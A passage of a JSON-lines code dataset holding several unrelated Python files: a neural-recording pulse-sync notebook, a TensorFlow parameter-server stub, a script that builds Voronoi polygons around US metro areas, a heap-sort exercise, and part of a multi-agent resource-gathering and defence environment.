r'2017_05_29T13_30_53_Amp_S16_LP3p5KHz_uV.bin')\n\nprobe_info_folder = r'E:\\George\\Python35Projects\\TheMeaningOfBrain\\Layouts\\Probes\\Neuroseeker'\nprb_file = join(probe_info_folder, 'prb.txt')\n\ntime_points = 100\nsampling_frequency = 20000\n\nnumber_of_channels_in_binary_file = 1440\n\n\n\n'''\n# Call to clean the kilosort generated templates\nfrom GUIs.Kilosort import clean_kilosort_templates as clean\n\nclean.cleanup_kilosorted_data(base_folder, number_of_channels_in_binary_file, binary_data_filename, prb_file,\n sampling_frequency=20000)\n'''\n\n\n\n\n\n# Generate Square wave pulse train to recapture Camera TTL information\nnumber_of_channels_in_binary_file = 1440\n\nbinary_data_filename = join(data_folder, r'InBehaviour_2017-06-02T13_20_21_Amp_S16_uV.bin')\npulse_data_trace_filename = r'InBehaviour_2017-06-02T13_20_21_Sync_U16_uV.bin'\n\nraw_data = np.memmap(binary_data_filename, dtype=np.int16, mode='r')\nnumber_of_timepoints_in_raw = int(raw_data.shape[0] / number_of_channels_in_binary_file)\nraw_data = np.reshape(raw_data, (number_of_channels_in_binary_file, number_of_timepoints_in_raw), order='F')\n\npulse_data = np.memmap(join(data_folder, pulse_data_trace_filename), dtype=np.uint16, mode='r')\n\n\ndef plot_both_pulses(pulse_data, pulse_square=None, pulse_freq=None, sampling_frequency = 20000, start_time=0, end_time=3600, step_time=1, time_window=0.5):\n plt.interactive(True)\n fig = plt.figure()\n ax = fig.add_subplot(111)\n\n start_time = start_time\n end_time = end_time\n step_time = step_time\n time_window = time_window\n num_of_windows = int((end_time - start_time) / step_time)\n\n for win in range(num_of_windows):\n st = start_time + step_time * win\n et = st + time_window\n stp = int(st * sampling_frequency)\n etp = int(et * sampling_frequency)\n t = np.linspace(st, et, etp - stp)\n if pulse_square is None:\n square = ssig.square(2 * np.pi * pulse_freq * (t + 40/sampling_frequency), duty=1.0-0.0434) / 2 + 0.5 + 65278\n else:\n square = pulse_square[stp:etp]\n\n ax.clear()\n ax.plot(t, square, t, pulse_data[stp:etp])\n\n plt.waitforbuttonpress()\n\n\n\ntop_of_pulse_points = np.argwhere(pulse_data==65279)\nbottom_of_pulse_points = np.argwhere(pulse_data==65278)\nstarting_pulse = bottom_of_pulse_points[0][0]-167\nend_pulse = top_of_pulse_points[-1][0]\ntime_points_in_ttl_train = end_pulse - starting_pulse\ntime_of_frames_train = 4217.07639 # From the csv file\n# sampling_frequency_corrected = time_points_in_ttl_train / time_of_frames_train\n\n\nsampling_frequency_corrected = 19998.5\npulse_freq = 119.6058485 # 119.6058485\nfull_time = pulse_data.shape[0] / sampling_frequency_corrected\nplot_both_pulses(pulse_data, pulse_freq=pulse_freq, sampling_frequency=sampling_frequency_corrected,\n start_time=44.5, end_time=full_time, step_time=20)\n\n\n\n\n\n\n\nt = np.linspace(0, full_time, pulse_data.shape[0])\n\nsquare = ssig.square(2 * np.pi * pulse_freq * (t + 40/sampling_frequency_corrected), duty=1.0-0.0434) / 2 + 0.5 + 65278\nsquare[:starting_pulse] = 65278\nsquare[end_pulse:] = 65278\n\nplot_both_pulses(pulse_data, pulse_square=square, start_time=full_time-60, end_time=full_time+1, step_time=0.5)\n\nstp = int(44 * sampling_frequency_corrected)\netp = int(48 * sampling_frequency_corrected)\nplt.plot(t[stp:etp], square[stp:etp], t[stp:etp], pulse_data[stp:etp])\n\nstp = int((full_time - 85) * sampling_frequency_corrected)\netp = int((full_time - 55) * sampling_frequency_corrected)\nplt.plot(t[stp:etp], square[stp:etp], t[stp:etp], pulse_data[stp:etp])\n\nnp.save(join(data_folder, r'corrected_camera_ttl_pulses.npy'), square)\nsquare = np.load(join(data_folder, r'corrected_camera_ttl_pulses.npy'))\n\n\n\n\ntransitions = np.diff(square)\nnum_of_pulses = np.sum(transitions==-1)\n\n\n\n\n\n\nframe_times = np.load(join(data_folder, r'frame_times.npy'))\n\ncsv_frames = np.ones(pulse_data.shape[0])*65278\nframe_times_offseted = frame_times + 15.9348\nfor frame_time in frame_times_offseted:\n csv_frames[int(frame_time*sampling_frequency_corrected)] = 65279\n\nstp = int(44 * sampling_frequency_corrected)\netp = int(48 * sampling_frequency_corrected)\nplt.plot(t[stp:etp], csv_frames[stp:etp], t[stp:etp], pulse_data[stp:etp])\n\nstp = int(4255 * sampling_frequency_corrected)\netp = int(full_time * sampling_frequency_corrected)\nplt.plot(t[stp:etp], csv_frames[stp:etp], t[stp:etp], pulse_data[stp:etp])\n\n\nplot_both_pulses(pulse_data, pulse_square=csv_frames, start_time=0, end_time=full_time+1, step_time=2)","sub_path":"ExperimentSpecificCode/_2017_05_Neuroseeker_Chronic_Rat_22.1/2017_06_02/13_20_21/notebook.py","file_name":"notebook.py","file_ext":"py","file_size_in_byte":4897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"453495034","text":"import tensorflow as tf\n\ncluster_spec = tf.train.ClusterSpec({\n \"ps\": [\n \"localhost:2223\", # /job:ps/task:0\n ],\n \"worker\": [\n \"localhost:2224\", # /job:worker/task:0\n \"localhost:2225\", # /job:worker/task:1\n ]})\nserver = tf.train.Server(cluster_spec, job_name=\"ps\", task_index=0)\nserver.join() # blocks until the server stops (i.e., never)","sub_path":"boom/12-2 ps.py","file_name":"12-2 ps.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"463905575","text":"\"\"\"\nThis script creates voronoi polygons around major metro centers in the US, with\nmodifications of the NYC and Long Island areas to keep them as distinct IPM regions.\n\nTo add additional metro areas for a new region, use the --extra-metro-cbsa-ids flag,\nonce for each additional cbsa_id to include:\n\npython create_voronoi_polygons.py --extra-metro-cbsa-ids 12100 --extra-metro-cbsa-ids 41540\n\"\"\"\n\nfrom typing import List\n\nimport pandas as pd\nimport geopandas as gpd\nimport shapely.ops\nfrom shapely.ops import cascaded_union\nfrom geovoronoi import voronoi_regions_from_coords\nimport typer\n\nfrom site_interconnection_costs import (\n load_ipm_shapefile,\n load_metro_areas_shapefile,\n)\n\nimport logging\n\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.INFO)\nhandler = logging.StreamHandler()\nformatter = logging.Formatter(\n # More extensive test-like formatter...\n \"%(asctime)s [%(levelname)8s] %(name)s:%(lineno)s %(message)s\",\n # This is the datetime format string.\n \"%Y-%m-%d %H:%M:%S\",\n)\nhandler.setFormatter(formatter)\nlogger.addHandler(handler)\n\n\ndef load_us_outline():\n \"Load a gdf of US states and return the outline of lower-48\"\n us_states = gpd.read_file(\n \"https://eric.clst.org/assets/wiki/uploads/Stuff/gz_2010_us_040_00_5m.json\"\n )\n drop_states = [\"Puerto Rico\", \"Alaska\", \"Hawaii\"]\n us_states = us_states.loc[~(us_states[\"NAME\"].isin(drop_states)), :]\n\n us_outline = shapely.ops.unary_union(us_states[\"geometry\"])\n\n return us_outline\n\n\ndef find_largest_cities(\n metro_areas_gdf,\n ipm_gdf,\n min_population=750000,\n max_cities_per_region=None,\n extra_metro_cbsa_ids=[],\n):\n _metro_areas_gdf = metro_areas_gdf.copy()\n _metro_areas_gdf[\"geometry\"] = _metro_areas_gdf[\"center\"]\n # metro_ipm_gdf = gpd.sjoin(ipm_gdf, _metro_areas_gdf, how=\"left\", op=\"intersects\")\n metro_ipm_gdf = gpd.sjoin(ipm_gdf, _metro_areas_gdf, how=\"left\", op=\"contains\")\n\n df_list = []\n # nw_areas[\"latitude\"] = 0\n # nw_areas[\"longitude\"] = 0\n grouped = metro_ipm_gdf.groupby(\"IPM_Region\", as_index=False)\n for _, _df in grouped:\n # n_df = _df.nlargest(5, \"population\")\n n_df = _df.loc[\n (_df[\"population\"] >= min_population)\n | (_df[\"cbsa_id\"].isin(extra_metro_cbsa_ids)),\n :,\n ]\n if max_cities_per_region:\n n_df = n_df.nlargest(max_cities_per_region, \"population\")\n # If there aren't any city that meet population criteria keep the largest city\n if n_df.empty:\n n_df = _df.nlargest(1, \"population\")\n df_list.append(n_df)\n largest_cities = pd.concat(df_list, ignore_index=True)\n\n lats = [center.y for center in largest_cities.center]\n lons = [center.x for center in largest_cities.center]\n\n largest_cities[\"latitude\"] = lats\n largest_cities[\"longitude\"] = lons\n\n return largest_cities\n\n\ndef main(fn: str = \"large_metro_voronoi.geojson\", extra_metro_cbsa_ids: List[str] = []):\n\n logger.info(\"Loading files\")\n us_outline = load_us_outline()\n ipm_gdf = load_ipm_shapefile()\n ipm_gdf[\"convex_hull\"] = ipm_gdf.convex_hull\n # site_locations = load_site_locations()\n metro_gdf = load_metro_areas_shapefile()\n\n logger.info(\"Finding largest metros\")\n if extra_metro_cbsa_ids:\n logger.info(f\"The extra metros {extra_metro_cbsa_ids} will be included\")\n largest_metros = find_largest_cities(\n metro_areas_gdf=metro_gdf,\n ipm_gdf=ipm_gdf,\n min_population=750000,\n extra_metro_cbsa_ids=extra_metro_cbsa_ids,\n )\n\n logger.info(\"Making voronoi polygons\")\n poly_shapes, pts, poly_to_pt_assignments = voronoi_regions_from_coords(\n largest_metros[[\"longitude\", \"latitude\"]].values, us_outline\n )\n\n metro_voronoi = largest_metros.iloc[[x[0] for x in poly_to_pt_assignments], :]\n metro_voronoi[\"metro_id\"] = metro_voronoi[\"cbsa_id\"]\n metro_voronoi.geometry = poly_shapes\n\n logger.info(\"Fixing NYC/Long Island\")\n ny_z_j_poly = ipm_gdf.loc[ipm_gdf[\"IPM_Region\"] == \"NY_Z_J\", \"convex_hull\"].values[\n 0\n ]\n ny_z_k_poly = ipm_gdf.loc[ipm_gdf[\"IPM_Region\"] == \"NY_Z_K\", \"convex_hull\"].values[\n 0\n ]\n ny_z_j_k_poly = cascaded_union([ny_z_j_poly, ny_z_k_poly])\n\n for cbsa_id in metro_voronoi.query(\n \"IPM_Region.isin(['NENG_CT', 'PJM_EMAC']).values\"\n )[\"cbsa_id\"].to_list():\n # print(cbsa_id)\n metro_voronoi.loc[\n metro_voronoi[\"cbsa_id\"] == cbsa_id, \"geometry\"\n ] = metro_voronoi.loc[\n metro_voronoi[\"cbsa_id\"] == cbsa_id, \"geometry\"\n ].difference(\n ny_z_j_k_poly\n )\n\n # Need the unary_union to make geometries valid\n ny_z_j_ipm = shapely.ops.unary_union(\n ipm_gdf.loc[ipm_gdf[\"IPM_Region\"] == \"NY_Z_J\", \"geometry\"].values[0]\n )\n ny_z_k_ipm = shapely.ops.unary_union(\n ipm_gdf.loc[ipm_gdf[\"IPM_Region\"] == \"NY_Z_K\", \"geometry\"].values[0]\n )\n\n # Get a simplified outline of Long Island\n # Start with the zone K convex hull, remove the overlap with zone J IPM region,\n # then take the intersection with the US outline.\n ny_z_k_ipm = ny_z_k_poly.difference(ny_z_j_ipm).intersection(us_outline)\n\n # Same with NYC, zone J. Remove the bordering regions (zone K, other IPM regions)\n # from the convex hull, then take intersection with US outline.\n ny_z_j_ipm = (\n ny_z_j_poly.difference(ny_z_k_ipm)\n .difference(\n shapely.ops.unary_union(\n ipm_gdf.query(\"IPM_Region=='PJM_EMAC'\")[\"geometry\"].values[0]\n )\n )\n .difference(\n shapely.ops.unary_union(\n ipm_gdf.query(\"IPM_Region=='NY_Z_G-I'\")[\"geometry\"].values[0])\n )\n .intersection(us_outline)\n )\n\n data_dict = {\n \"IPM_Region\": [\"NY_Z_J\", \"NY_Z_K\"],\n \"state\": [\"NY\", \"NY\"],\n \"metro_id\": [\"NY_Z_J\", \"NY_Z_K\"],\n \"latitude\": [ny_z_j_ipm.centroid.y, ny_z_k_ipm.centroid.y],\n \"longitude\": [ny_z_j_ipm.centroid.x, ny_z_k_ipm.centroid.x],\n }\n\n ny_z_j_k_df = gpd.GeoDataFrame(\n data=data_dict, geometry=[ny_z_j_ipm, ny_z_k_ipm], crs=metro_voronoi.crs\n )\n\n final_metro_voronoi = pd.concat(\n [metro_voronoi, ny_z_j_k_df], ignore_index=True, sort=False\n )\n\n logger.info(\"Writing polygons to file\")\n cols = [\"IPM_Region\", \"geometry\", \"latitude\", \"longitude\", \"metro_id\"]\n final_metro_voronoi[cols].to_file(fn, driver=\"GeoJSON\")\n\n\nif __name__ == \"__main__\":\n typer.run(main)\n","sub_path":"create_clusters/create_voronoi_polygons.py","file_name":"create_voronoi_polygons.py","file_ext":"py","file_size_in_byte":6529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"628690198","text":"# N개의 수가 주어졌을 때, 이를 오름차순으로 정렬하는 프로그램을 작성하시오.\n# 연습하려고 힙 정렬 써봣음\n\nn = int(input())\nans=[]\nfor i in range(n):\n a = int(input())\n ans.append(a)\n\ndef heap_sort(a):\n def down_heap(a,left,right):\n temp = a[left] #루트\n parent = left\n while parent < (right+1) // 2:\n cl = parent*2+1\n cr = cl + 1\n child = cr if cr <= right and a[cr] > a[cl] else cl # 둘 중 큰 값\n # print(a[cr], a[cl])\n if temp >= a[child]:\n break\n a[parent] = a[child]\n parent = child\n a[parent] = temp \n n = len(a)\n for i in range((n-1)//2,-1,-1):\n down_heap(a,i,n-1)\n for i in range(n-1,0,-1):\n a[0], a[i] = a[i], a[0]\n down_heap(a,0,i-1)\n\nheap_sort(ans)\n\nfor i in range(len(ans)):\n print(ans[i])","sub_path":"Python/1주차_정렬,재귀/정글_1_2751.py","file_name":"정글_1_2751.py","file_ext":"py","file_size_in_byte":910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"459743615","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport enum\nimport math\nfrom .multiagentenv import MultiAgentEnv\nimport random\nimport numpy as np\n\n\nclass Direction(enum.IntEnum):\n NORTH = 0\n SOUTH = 1\n EAST = 2\n WEST = 3\n\n\nclass Pos:\n def __init__(self, x, y):\n self.x = x\n self.y = y\n\n\nclass Unit:\n def __init__(self, x, y, health_max, n_resources):\n self.pos = Pos(x, y)\n self.health_max = health_max\n self.health = health_max\n self.resources_loaded = np.array([False for _ in range(n_resources)])\n self.loaded = False\n\n\nclass Resource:\n def __init__(self, x, y):\n self.pos = Pos(x, y)\n\n\nclass Building:\n def __init__(self, x, y, health, n_resources):\n self.pos = Pos(x, y)\n self.health = health\n self.max_health = health\n\n self.resources_amount = [0. for _ in range(n_resources)]\n\n\nresources_pos = [Pos(1, 5),\n Pos(5, 1),\n Pos(1, 1)]\n\n\n# action_name = {0: 'noop',\n# 1: 'step',\n# 2: 'north',\n# 3: 'south',\n# 4: 'east',\n# 5: 'west',\n# 6: 'attack 0',\n# 7: \"attack 1\",\n# 8: \"gather res 1\",\n# 9: \"put res 1\",\n# 10: \"gather res 2\",\n# 11: \"put res 2\"\n# }\n\naction_name = {0: 'noop',\n 1: 'step',\n 2: 'north',\n 3: 'south',\n 4: 'east',\n 5: 'west',\n 6: 'attack 0',\n 7: \"gather res 1\",\n 8: \"put res 1\",\n 9: \"gather res 2\",\n 10: \"put res 2\"\n }\n\n\nclass GatherDefendEnv(MultiAgentEnv):\n \"\"\"The StarCraft II environment for decentralised multi-agent\n micromanagement scenarios.\n \"\"\"\n\n def __init__(\n self,\n n_agents=10,\n n_enemies=2,\n episode_limit=200,\n move_amount=1,\n continuing_episode=False,\n obs_all_health=True,\n obs_enemy_health=True,\n obs_own_health=True,\n obs_last_action=False,\n obs_pathing_grid=False,\n obs_terrain_height=False,\n obs_instead_of_state=False,\n obs_timestep_number=False,\n obs_resources=False,\n obs_base_resources_amount=False,\n state_last_action=True,\n state_timestep_number=False,\n reward_sparse=False,\n reward_only_positive=True,\n reward_death_value=0.5,\n reward_win=5,\n reward_defeat=0.01,\n reward_pick_up=0.5,\n reward_integrate=20,\n reward_gather=2,\n reward_negative_scale=0.5,\n reward_scale=True,\n reward_scale_rate=40,\n debug=False,\n is_replay=False,\n sight_range=9,\n shoot_range=1,\n map_x=10,\n map_y=10,\n agent_health=10,\n enemy_health=10,\n agent_attack=5,\n enemy_attack=2,\n base_health=150,\n n_resources=2,\n seed=None,\n proficiency=False,\n proficiency_start=0.4,\n proficiency_end=0.9,\n barrack=True\n ):\n # Map arguments\n self.sight_range = sight_range\n self.shoot_range = shoot_range\n\n self.n_agents = n_agents\n self.episode_limit = episode_limit\n self._move_amount = move_amount\n self.n_enemies = n_enemies\n self.n_resources = n_resources\n\n # Observations and state\n self.obs_own_health = obs_own_health\n self.obs_all_health = obs_all_health\n self.obs_enemy_health = obs_enemy_health\n self.obs_instead_of_state = obs_instead_of_state\n self.obs_last_action = obs_last_action\n self.obs_resources = obs_resources\n self.state_last_action = state_last_action\n if self.obs_all_health:\n self.obs_own_health = True\n self.obs_base_resources_amount = obs_base_resources_amount\n\n # Rewards args\n self.reward_sparse = reward_sparse\n self.reward_only_positive = reward_only_positive\n self.reward_negative_scale = reward_negative_scale\n self.reward_death_value = reward_death_value\n self.reward_integrate = reward_integrate\n self.reward_win = reward_win\n self.reward_defeat = reward_defeat\n self.reward_pick_up = reward_pick_up\n self.reward_gather = reward_gather\n self.reward_scale = reward_scale\n self.reward_scale_rate = reward_scale_rate\n\n # Other\n self.continuing_episode = continuing_episode\n # self._seed = seed\n self._seed = random.randint(0, 9999)\n np.random.seed(self._seed)\n self.debug = debug\n self.is_replay = is_replay\n\n # Actions\n self.n_actions_no_attack = 6\n self.n_actions_move = 4\n self.n_actions_resources = 2 * n_resources\n self.n_actions_no_resources = self.n_actions_no_attack + self.n_enemies\n self.n_actions = self.n_actions_no_resources + self.n_actions_resources\n\n # Property\n self.agent_health = agent_health\n self.enemy_health = enemy_health\n self.agent_attack = agent_attack\n self.enemy_attack = enemy_attack\n self.base_health = base_health\n self.barrack_health = base_health\n self.has_barrack = barrack\n\n # Resources\n self.base_x = 5\n self.base_y = 5\n self.barrack_x = 7\n self.barrack_y = 7\n self.resources = dict()\n for resources_id in range(self.n_resources):\n resource_pos = resources_pos[resources_id]\n self.resources[resources_id] = Resource(resource_pos.x, resource_pos.y) # TODO: observe base, resources\n self.base = Building(self.base_x, self.base_y, self.base_health, self.n_resources) # TODO: Initialize\n self.barrack = Building(self.barrack_x, self.barrack_y, self.base_health, self.n_resources)\n self.integrated = 0\n self.kill_number = 0\n\n # Map info\n max_kill = self.episode_limit // (self.enemy_health // self.agent_attack) * self.n_enemies\n max_integrate = self.episode_limit / 8\n self.max_reward = (max_kill * (self.reward_death_value + self.enemy_health * self.reward_defeat)\n + self.reward_win\n + max_integrate * self.reward_integrate) * 2\n\n self.agents = {}\n self.enemies = {}\n self._episode_count = 0\n self._episode_steps = 0\n self._total_steps = 0\n # self._obs = None\n self.battles_won = 0\n self.battles_game = 0\n self.timeouts = 0\n self.force_restarts = 0\n self.last_stats = None\n # self.death_tracker_ally = np.zeros(self.n_agents)\n # self.death_tracker_enemy = np.zeros(self.n_enemies)\n self.previous_ally_units = None\n self.previous_enemy_units = None\n self.last_action = np.zeros((self.n_agents, self.n_actions))\n self.map_x = map_x\n self.map_y = map_y\n self.proficiency = proficiency\n self.proficiency_start = proficiency_start\n self.proficiency_max = proficiency_end\n self.proficiency_step = 2 * (proficiency_end - proficiency_start) / (episode_limit / 8)\n\n if self.debug:\n self.action_count = {agent_i: [0 for _ in range(self.n_resources * 2 + 1)] for agent_i in range(self.n_agents)}\n self.reset()\n\n def reset(self):\n \"\"\"Reset the environment. Required after each full episode.\n Returns initial observations and states.\n \"\"\"\n self._episode_steps = 0\n self.reset_resources_and_base()\n self.kill_number = 0\n\n # Information kept for counting the reward\n # self.death_tracker_ally = np.zeros(self.n_agents)\n # self.death_tracker_enemy = np.zeros(self.n_enemies)\n self.previous_ally_units = None\n self.previous_enemy_units = None\n\n self.last_action = np.zeros((self.n_agents, self.n_actions))\n self.n_pickup = np.zeros([self.n_agents, self.n_resources])\n\n # self._obs = self._controller.observe()\n self.init_units()\n\n return self.get_obs(), self.get_state()\n\n def reset_resources_and_base(self):\n for resources_id in range(self.n_resources):\n resource_pos = resources_pos[resources_id]\n self.resources[resources_id] = Resource(resource_pos.x, resource_pos.y)\n\n self.base = Building(self.base_x, self.base_y, self.base_health, self.n_resources)\n self.barrack = Building(self.barrack_x, self.barrack_y, self.base_health, self.n_resources)\n\n self.integrated = 0\n\n def init_units(self):\n self.agents = {}\n if self.has_barrack:\n for agent_id in range(self.n_agents):\n self.agents[agent_id] = Unit(random.randint(1, self.barrack_x),\n random.randint(1, self.barrack_y),\n self.agent_health,\n self.n_resources)\n else:\n for agent_id in range(self.n_agents):\n self.agents[agent_id] = Unit(random.randint(1, self.base_x),\n random.randint(1, self.base_y),\n self.agent_health,\n self.n_resources)\n\n self.enemies = {}\n for enemy_id in range(self.n_enemies):\n # self.enemies[enemy_id] = Unit(random.randint(self.base_x + 2, self.map_x),\n # random.randint(self.base_y + 2, self.map_y),\n # self.enemy_health,\n # self.n_resources)\n self.enemies[enemy_id] = Unit(self.map_x,\n self.map_y,\n self.enemy_health,\n self.n_resources)\n\n def ally_step(self, actions):\n attack_reward = 0\n attack_value = [0 for _ in range(self.n_enemies)]\n for agent_id, action in enumerate(actions):\n avail_actions = self.get_avail_agent_actions(agent_id)\n if avail_actions[action] ==0:\n avail_actions = self.get_avail_agent_actions(agent_id)\n\n assert avail_actions[action] == 1, \\\n \"Agent {} cannot perform action {}\".format(agent_id, action)\n\n unit = self.get_unit_by_id(agent_id)\n if action == 2:\n unit.pos.y += self._move_amount\n elif action == 3:\n unit.pos.y -= self._move_amount\n elif action == 4:\n unit.pos.x += self._move_amount\n elif action == 5:\n unit.pos.x -= self._move_amount\n elif self.n_actions_no_attack <= action < self.n_actions_no_attack + self.n_enemies:\n target_id = action - self.n_actions_no_attack\n attack_value[target_id] += self.agent_attack\n elif action >= self.n_actions_no_resources:\n res_i = (action - self.n_actions_no_resources) // 2\n gather_down = (action - self.n_actions_no_attack - self.n_enemies) % 2\n\n if gather_down:\n assert unit.resources_loaded[res_i], \"Agent {} does not have resource {}\".format(agent_id, res_i)\n\n reward_gather = self.reward_gather\n if res_i == 1:\n if self.base.resources_amount[0] >= self.base.resources_amount[1] / 2:\n reward_gather *= 5\n else:\n reward_gather /= 2 * 2\n else:\n if self.base.resources_amount[0] <= self.base.resources_amount[1] / 2:\n reward_gather *= 5\n else:\n reward_gather /= 2 * 2\n\n self.base.resources_amount[res_i] += 1\n unit.resources_loaded[res_i] = False\n unit.resources_loaded[res_i] = False\n unit.loaded = False\n\n attack_reward += reward_gather\n else:\n reward_pickup = self.reward_pick_up\n if res_i == 1:\n if self.base.resources_amount[0] >= self.base.resources_amount[1] / 2:\n reward_pickup *= 5\n else:\n reward_pickup /= 2\n else:\n if self.base.resources_amount[0] <= self.base.resources_amount[1] / 2:\n reward_pickup *= 5\n else:\n reward_pickup /= 2\n\n if self.proficiency:\n gather_prob = self.proficiency_start + self.proficiency_step * self.n_pickup[agent_id][res_i]\n if random.random() < gather_prob:\n assert unit.loaded is False, \"Agent {} is loaded when trying to gather resource {}\".format(agent_id, res_i)\n\n unit.resources_loaded[res_i] = True\n unit.loaded = True\n attack_reward += reward_pickup / gather_prob\n\n self.n_pickup[agent_id][res_i] += 1\n else:\n assert unit.loaded is False, \"Agent {} is loaded when trying to gather resource {}\".format(\n agent_id, res_i)\n\n unit.resources_loaded[res_i] = True\n unit.loaded = True\n attack_reward += reward_pickup\n self.n_pickup[agent_id][res_i] += 1\n\n # Attack\n for enemy_id in range(self.n_enemies):\n if self.enemies[enemy_id].health - attack_value[enemy_id] <= 0:\n attack_reward += self.reward_death_value\n attack_reward += self.reward_defeat * self.enemies[enemy_id].health\n\n # self.enemies[enemy_id] = Unit(random.randint(self.base_x + 2, self.map_x),\n # random.randint(self.base_y + 2, self.map_y),\n # self.enemy_health,\n # self.n_resources)\n self.enemies[enemy_id] = Unit(self.map_x,\n self.map_y,\n self.enemy_health,\n self.n_resources)\n self.kill_number += 1\n else:\n attack_reward += self.reward_defeat * attack_value[enemy_id]\n self.enemies[enemy_id].health -= attack_value[enemy_id]\n\n return attack_reward\n\n def enemy_step(self):\n game_end_code = None\n\n if self.has_barrack:\n for enemy_id, enemy in self.enemies.items():\n if self.can_reach(enemy.pos, self.barrack.pos):\n self.barrack.health -= self.enemy_attack\n else:\n if enemy.pos.x > self.barrack_x:\n enemy.pos.x -= 1\n\n if enemy.pos.y > self.barrack_y:\n enemy.pos.y -= 1\n\n if self.barrack.health <= 0:\n game_end_code = -1\n else:\n for enemy_id, enemy in self.enemies.items():\n if self.can_reach(enemy.pos, self.base.pos):\n self.base.health -= self.enemy_attack\n else:\n if enemy.pos.x > self.base_x:\n enemy.pos.x -= 1\n\n if enemy.pos.y > self.base_y:\n enemy.pos.y -= 1\n\n if self.base.health <= 0:\n game_end_code = -1\n\n return game_end_code\n\n def update_units(self, actions):\n \"\"\"Update units after an environment step.\n This function assumes that self._obs is up-to-date.\n \"\"\"\n attack_reward = self.ally_step(actions)\n game_end_code = self.enemy_step()\n\n return attack_reward, game_end_code\n\n def base_integrate(self):\n number = 0\n while True:\n can_integrate = True\n for res_i in range(self.n_resources):\n if self.base.resources_amount[res_i] <= res_i:\n can_integrate = False\n break\n\n if can_integrate:\n for res_i in range(self.n_resources):\n self.base.resources_amount[res_i] -= (res_i + 1)\n number += 1\n self.integrated += 1\n # print('!!!!!!!!!!!!!')\n else:\n break\n\n return number * self.reward_integrate\n\n def step(self, actions):\n \"\"\"A single environment step. Returns reward, terminated, info.\"\"\"\n if self.is_replay:\n positions = []\n for agent_id in range(self.n_agents):\n unit = self.get_unit_by_id(agent_id)\n positions.append([agent_id, unit.pos.x, unit.pos.y, list(unit.resources_loaded)])\n for e_id, e_unit in self.enemies.items():\n positions.append([e_id, e_unit.pos.x, e_unit.pos.y, e_unit.health])\n positions.append(self.base.resources_amount*2)\n # positions.insert(0,self._episode_steps)\n print(positions, \",\")\n\n actions = [int(a) for a in actions]\n\n if self.debug:\n print(\">>>\")\n for agent_id, action_ in enumerate(actions):\n print(agent_id, self.agents[agent_id].pos.x, self.agents[agent_id].pos.y,\n action_name[action_])\n\n if self.n_actions_no_attack <= action_ < self.n_actions_no_attack + self.n_enemies:\n self.action_count[agent_id][0] += 1\n elif action_ == self.n_actions_no_resources:\n self.action_count[agent_id][1] += 1\n elif action_ == self.n_actions_no_resources+1:\n self.action_count[agent_id][2] += 1\n elif action_ == self.n_actions_no_resources+2:\n self.action_count[agent_id][3] += 1\n elif action_ == self.n_actions_no_resources+3:\n self.action_count[agent_id][4] += 1\n\n for enemy in self.enemies.values():\n print(enemy.pos.x, enemy.pos.y)\n\n self.last_action = np.eye(self.n_actions)[np.array(actions)]\n\n # Collect individual actions\n # self._obs = self._controller.observe()\n\n self._total_steps += 1\n self._episode_steps += 1\n\n # Update units\n reward, game_end_code = self.update_units(actions)\n # Update base\n resource_reward = self.base_integrate()\n reward += resource_reward\n\n terminated = False\n info = {\"battle_won\": False}\n\n if game_end_code is not None:\n # Battle is over\n terminated = True\n self.battles_game += 1\n if game_end_code == 1:\n self.battles_won += 1\n info[\"battle_won\"] = True\n if not self.reward_sparse:\n reward += self.reward_win\n else:\n reward = 1\n elif game_end_code == -1:\n if not self.reward_sparse:\n reward += self.reward_defeat\n else:\n reward = -1\n\n elif self._episode_steps >= self.episode_limit:\n # Episode limit reached\n terminated = True\n self.battles_won += 1\n info[\"battle_won\"] = True\n if self.continuing_episode:\n info[\"episode_limit\"] = True\n self.battles_game += 1\n\n if terminated:\n self._episode_count += 1\n info[\"integrated\"] = self.integrated\n for resource_i in range(self.n_resources):\n info[\"remaining_{}\".format(resource_i)] = self.base.resources_amount[resource_i]\n info[\"kill\"] = self.kill_number\n\n if self.is_replay:\n positions = []\n for agent_id in range(self.n_agents):\n unit = self.get_unit_by_id(agent_id)\n positions.append([agent_id, unit.pos.x, unit.pos.y, list(unit.resources_loaded)])\n for e_id, e_unit in self.enemies.items():\n positions.append([e_id, e_unit.pos.x, e_unit.pos.y, e_unit.health])\n positions.append(self.base.resources_amount*2)\n # positions.insert(0,self._episode_steps)\n print(positions, \",\")\n\n if self.debug:\n if info[\"battle_won\"]:\n print(\"win\")\n else:\n print(\"lose\")\n\n for agent_id in range(self.n_agents):\n print('Agent {} attack {} times, hold {} times, gather {}, hold {}, gather{}'.format(\n agent_id, *self.action_count[agent_id]))\n self.action_count = {agent_i: [0 for _ in range(self.n_resources * 2 + 1)] for agent_i in\n range(self.n_agents)}\n print('Kill:', self.kill_number)\n print(\"Gather:\", self.integrated)\n print('Leave:', self.base.resources_amount)\n\n if self.reward_scale:\n reward /= self.max_reward / self.reward_scale_rate\n\n # print(reward)\n\n return reward, terminated, info\n\n def get_total_actions(self):\n \"\"\"Returns the total number of actions an agent could ever take.\"\"\"\n return self.n_actions\n\n @staticmethod\n def distance(x1, y1, x2, y2):\n \"\"\"Distance between two points.\"\"\"\n return math.hypot(x2 - x1, y2 - y1)\n\n def unit_shoot_range(self, agent_id):\n \"\"\"Returns the shooting range for an agent.\"\"\"\n return self.shoot_range\n\n def unit_sight_range(self, agent_id):\n \"\"\"Returns the sight range for an agent.\"\"\"\n return self.sight_range\n\n def get_obs_agent(self, agent_id):\n \"\"\"Returns observation for agent_id.\n NOTE: Agents should have access only to their local observations\n during decentralised execution.\n \"\"\"\n unit = self.get_unit_by_id(agent_id)\n\n nf_al = 4\n nf_en = 4\n\n if self.obs_all_health:\n nf_al += 1\n nf_en += 1\n\n if self.obs_enemy_health:\n nf_en += 1\n\n if self.obs_last_action:\n nf_al += self.n_actions\n\n nf_own = 0\n if self.obs_own_health:\n nf_own += 1\n nf_own += 1 + self.n_resources\n\n move_feats_len = self.n_actions_move\n\n move_feats = np.zeros(move_feats_len, dtype=np.float32)\n 